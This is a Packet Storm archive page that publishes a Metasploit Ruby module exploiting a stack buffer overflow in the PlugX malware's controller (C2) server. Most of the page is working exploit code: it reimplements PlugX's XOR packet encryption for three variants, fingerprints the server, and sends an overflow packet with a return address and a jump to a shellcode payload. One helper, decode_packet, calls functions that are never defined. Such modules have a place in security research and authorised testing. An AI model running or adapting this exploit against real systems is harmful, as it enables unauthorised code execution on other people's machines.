the original cloud security

PlugX Controller Stack Overflow

PlugX Controller Stack Overflow
Posted Sep 7, 2017
Authored by Professor Plum | Site metasploit.com

This Metasploit module exploits a Stack buffer overflow in the PlugX Controller (C2 server).

tags | exploit, overflow
MD5 | 909cabdcc1a96f7ab15d19c3b99b2414

PlugX Controller Stack Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'PlugX Controller Stack Overflow',
'Description' => %q{
This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
},
'Author' => 'Professor Plum',
'License' => MSF_LICENSE,
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'AllowWin32SEH' => true
},
'Payload' =>
{
'Space' => 0xe000,
'BadChars' => '',
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'DisclosureDate' => 'Jul 27 2017',
'Targets' =>
[
['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }],
['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }]
],
'Privileged' => false,
'DefaultTarget' => 2)
)

register_options(
[
Opt::RPORT(13579)
]
)
end

def xor_stream1(key, src)
key0 = key1 = key2 = key3 = key
dst = ''
for i in 0..(src.size - 1)
key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
new_key = (key2 + key3 + key1 + key0) & 0xFF
res = src[i].ord ^ new_key
dst += res.chr
end
dst
end

def xor_stream1a(key, src)
key0 = key1 = key2 = key3 = key
dst = ''
for i in 0..(src.size - 1)
key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
new_key = (key2 + key3 + key1 + key0) & 0xFF
res = src[i].ord ^ new_key
dst += res.chr
end
dst
end

def xor_stream2(key, data)
dst = ''
for i in 0..(data.size - 1)
key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
end
dst
end

def xor_wrap(key, data)
if target['xor'] == 0
return xor_stream1a(key, data)
elsif target['xor'] == 1
return xor_stream1(key, data)
elsif target['xor'] == 2
return xor_stream2(key, data)
end
print_status('Unknown PlugX Type')
end

def validate_response(data)
if data.nil?
print_status('Server closed connection')
return false
end
if data.empty?
print_status('No response recieved')
return false
end
if data.size < 16
print_status('Invalid packet')
print_status(data.inspect)
return false
end
key = data[0..4].unpack('<I')[0]
hdr = xor_wrap(key, data[0..16])
_x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
if (comp_size + 16) == data.size
raw = xor_wrap(key, data[16..-1])
print_status(raw.inspect)
return true
end
false
end

def check
connect
key = rand(0xFFFFFFFF)
hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
hdr = xor_wrap(key, hh)
sock.put([key].pack('<I') + hdr[4..-1])
if validate_response(sock.get_once || '')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end

def decode_packet(data)
key = data[0..4].unpack('<I')
_x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')

buf = xor_stream(key, data[16..-1])
buf = decompress(buf)
return the_flags[flags & 0xffff], xx, buf
end

def exploit
print_status("Trying target #{target.name}...")

l = 0xF008
pad = 0x18
a = 0x004045c4
pktlen = l + pad + 9
jmp = "\xe9" + [-pktlen].pack('<I')
key = rand(0xFFFFFFFF)
hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
hdr = xor_wrap(key, hh)
pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp

connect
sock.put(pkt)

print_status('Waiting for response')
validate_response(sock.get_once)
disconnect

handler
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    5 Files
  • 2
    Sep 2nd
    5 Files
  • 3
    Sep 3rd
    3 Files
  • 4
    Sep 4th
    13 Files
  • 5
    Sep 5th
    16 Files
  • 6
    Sep 6th
    15 Files
  • 7
    Sep 7th
    20 Files
  • 8
    Sep 8th
    16 Files
  • 9
    Sep 9th
    4 Files
  • 10
    Sep 10th
    2 Files
  • 11
    Sep 11th
    15 Files
  • 12
    Sep 12th
    19 Files
  • 13
    Sep 13th
    20 Files
  • 14
    Sep 14th
    38 Files
  • 15
    Sep 15th
    31 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    7 Files
  • 18
    Sep 18th
    15 Files
  • 19
    Sep 19th
    40 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    10 Files
  • 23
    Sep 23rd
    1 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close